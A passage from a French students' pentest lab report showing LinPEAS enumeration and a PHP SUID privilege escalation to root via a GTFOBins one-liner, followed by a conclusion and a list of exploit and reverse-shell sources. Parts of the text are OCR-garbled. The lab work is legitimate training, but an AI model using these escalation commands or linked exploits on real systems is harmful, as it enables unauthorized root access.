Figure 127 : Téléchargement du script LinPEAS

Nous rendons ce fichier exécutable :

chmod +x linpeas.sh

Figure 128 : Modification des droits utilisateur sur le script

Nous pouvons maintenant lancer le script avec la commande . /linpeas.sh, et
voici ce que I'on observe :
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inux-hardening/linux-privilege-escalation-checklist

, mounts, .sh scripts, cronjobs)

Figure 129 : Premieres lignes de LinPEAS

Le script se lance et prend plusieurs minutes pour récupérer toutes les informations.
Elles sont ensuite affichées dans le shell. Aprés une dizaine de minutes a lire chaque
section, nous en retenons deux :
Users with console

1x:1000:1000 ek,,,:/home/alek:/bin/bash
:X:@:0:root:/root:/bin/bash

Figure 130 : Liste des utilisateurs ayant accés a la console

Cette premiere section indique les utilisateurs ayant un acces a la console. Nous
retrouvons Alek le Webmaster, ainsi que l"utilisateur root.

La deuxieme section concerne I'escalade de privileges via SUID :

SUID - Check easy privesc, exploits and write perms

1 root messagebu Jul 5 282 / s-1. n-launch-helper
root root 10K

Figure 131 : SUID de PHP intéressant pour une escalade de privileges
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Cette derniere indique que PHP peut étre utilisé pour effectuer une escalade de
privileges via SUID. Le SUID (Set User ID) est un attribut de fichier dans les systémes Linux
qui permet a un utilisateur d'exécuter un fichier avec les privileges du propriétaire du
fichier. Lorsque le bit SUID est défini sur un fichier exécutable, toute personne exécutant
ce fichier le fait avec les privileges de |'utilisateur propriétaire du fichier, plutot qu'avec les
privileges de l'utilisateur actuel. Par exemple, si un fichier exécutable appartenant a
I'utilisateur root a le bit SUID défini, tout utilisateur exécutant ce fichier aura
temporairement les privileges de root pendant I'exécution de ce fichier.

Cela va nous permettre de pouvoir potentiellement obtenir un shell root sur la
machine cible. N’ayant jamais initié ce type d’attaque, nous nous renseignons sur les
commandes a entrer. Nous retrouvons alors le site GTFOBins qui présente exactement ce
que nous recherchons : une élévation de privileges via SUID avec PHP (voir sources). Nous
entrons donc les commandes indiquées :

fusr/bin/php7.3 -r "pecntl_exec('/bin/sh’,['-p"]1);"

whoami
root

Figure 132 : Escalade des priviléges

En entrant la commande whoami, nous observons que nous avons obtenu I'accés
root.

Pierre FROSTIN et Matthias DUMAS — BUT2 R&T La Rochelle —2024-2025
Page 83 sur 91


https://gtfobins.github.io/

Gestion de projet

’ _— -“
ANTT: e < 3 técemire 2024 Janvier 2025 février 2025
A -.-; \ | | — —
— Semaine 49 Semaine 501 Samaine §1 Semaine 52 Semaing 1 Semaine 2 Semaine 3 Semaine 4 Semaine § Semaine fi
Matn Datede..  Date defin o, AR T2t Tt Az 501205 1301205 e it fiteied
Blue Machine 1) 09202024 104272024 —H T
/] i
Acadderny (Maching 7) 1NN 701202024 Aoademy (achine )
. /] i
Dew (Machine 3) 1272024 2301202026 Dev(Machine 3)
. /]
Butler (Maching 4) D025 130172025 Buler(achine 4

Black Pearl {Machine 5)

01M01i2025 100172025

T Black Peal (Mashine )




Conclusion

Pour conclure, cette SAE nous a permis d'acquérir des connaissances essentielles sur
les techniques de base que nous serons amenés a réutiliser si nous devons effectuer un
pentest a I'avenir. Elle nous a également appris a rechercher et a identifier les informations
nécessaires de maniére autonome. De plus, cette SAE nous a permis de trouver de
nombreux sites Internet, forums, serveurs Discord et chaines YouTube dédiés au pentesting
ol nous avons pu découvrir différentes techniques et astuces.

Il est certain que cette SAE nous a énormément appris, mais elle s'est également
révélée tres chronophage. Bien que nous disposions de quelques bases vues en cours qui
se sont avérées trés utiles, la partie la plus longue a été de mener des recherches par nous-
mémes pour approfondir nos connaissances. Malgré les nombreuses heures de projet
allouées au projet, cela s'est avéré insuffisant compte tenu de notre niveau, et le travail
personnel que nous avons d{ fournir pour finaliser les 5 machines dans les délais a été
considérable.

C'est pour cette raison, comme mentionné dans notre rapport, que nous avons
sollicité de nombreuses aides aupres de personnes plus expérimentées, notamment celles
ayant déja réalisé cette SAE I'année précédente. Elles ont pu nous donner de petits indices
ou des pistes a explorer, ce qui nous a grandement aidés. Cela nous a permis de surmonter
certaines situations particulierement délicates, aprés avoir passé des heures a rester
bloqués.
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Sources

Machine 1

Vulnérabilité MS17_010 : https://learn.microsoft.com/en-us/security-
updates/securitybulletins/2017/ms17-010

CVE de MS17_010 : https://nvd.nist.gov/vuln/detail/cve-2017-0144

Machine 2

vsftpd 3.0.3 - Remote Denial of Service: https://www.exploit-
db.com/exploits/49719

CVE de VSFTPD 3.0.3 : https://nvd.nist.gov/vuln/detail/CVE-2021-30047

Backdoor vsftpd-3.0.3 : https://github.com/amdorj/vsftpd-3.0.3-
infected/blob/master/amdorj vsftpd backdoor.rb

Site de reverse-Shell : https://www.revshells.com/

Reverse-shell PentestMonkey : https://github.com/pentestmonkey/php-reverse-
shell

Pspy : https://github.com/DominicBreuker/pspy

Machine 3

Vulnérabilité de BoltWire : https://www.exploit-db.com/exploits/48411

Machine 4

Groovy Script reverse shell : https://gist.github.com/frohoff/fed1ffaab9b9beeblc76

CVE-2021-1732:

e https://github.com/asepsaepdin/CVE-2021-1732?tab=readme-ov-file

e https://raw.githubusercontent.com/UNICORDev/exploit-CVE-2021-
3560/main/exploit-CVE-2021-3560.py

e https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732

Pierre FROSTIN et Matthias DUMAS — BUT2 R&T La Rochelle — 2024-2025
Page 90 sur 91


https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
https://nvd.nist.gov/vuln/detail/cve-2017-0144
https://www.exploit-db.com/exploits/49719
https://www.exploit-db.com/exploits/49719
https://nvd.nist.gov/vuln/detail/CVE-2021-30047
https://github.com/amdorj/vsftpd-3.0.3-infected/blob/master/amdorj_vsftpd_backdoor.rb
https://github.com/amdorj/vsftpd-3.0.3-infected/blob/master/amdorj_vsftpd_backdoor.rb
https://www.revshells.com/
https://github.com/pentestmonkey/php-reverse-shell
https://github.com/pentestmonkey/php-reverse-shell
https://github.com/DominicBreuker/pspy
https://www.exploit-db.com/exploits/48411
https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76
https://github.com/asepsaepdin/CVE-2021-1732?tab=readme-ov-file
https://raw.githubusercontent.com/UNICORDev/exploit-CVE-2021-3560/main/exploit-CVE-2021-3560.py
https://raw.githubusercontent.com/UNICORDev/exploit-CVE-2021-3560/main/exploit-CVE-2021-3560.py
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e https://www.dataprise.com/resources/defense-digest/windows-10-

privilege-escalation-vulnerability/

WInPEAS :

e https://www.manageengine.com/log-management/cyber-security/privilege-

escalation-with-winpeas.html

e https://www.hackingarticles.in/window-privilege-escalation-automated-

script/
e https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS

Unquoted Service Path :

e https://medium.com/@SumitVermal01/windows-privilege-escalation-part-

1-unquoted-service-path-c7a011a8d8ae

e https://www.ired.team/offensive-security/privilege-escalation/unguoted-
service-paths

e https://github.com/nickvourd/Windows-Local-Privilege-Escalation-
Cookbook/blob/master/Notes/UnquotedServicePath.md

Machine 5

LinPEAS : https://github.com/peass-ng/PEASS-ng/tree/master/linPEAS

GTFObins SUID PHP : https://gtfobins.github.io/gtfobins/php/
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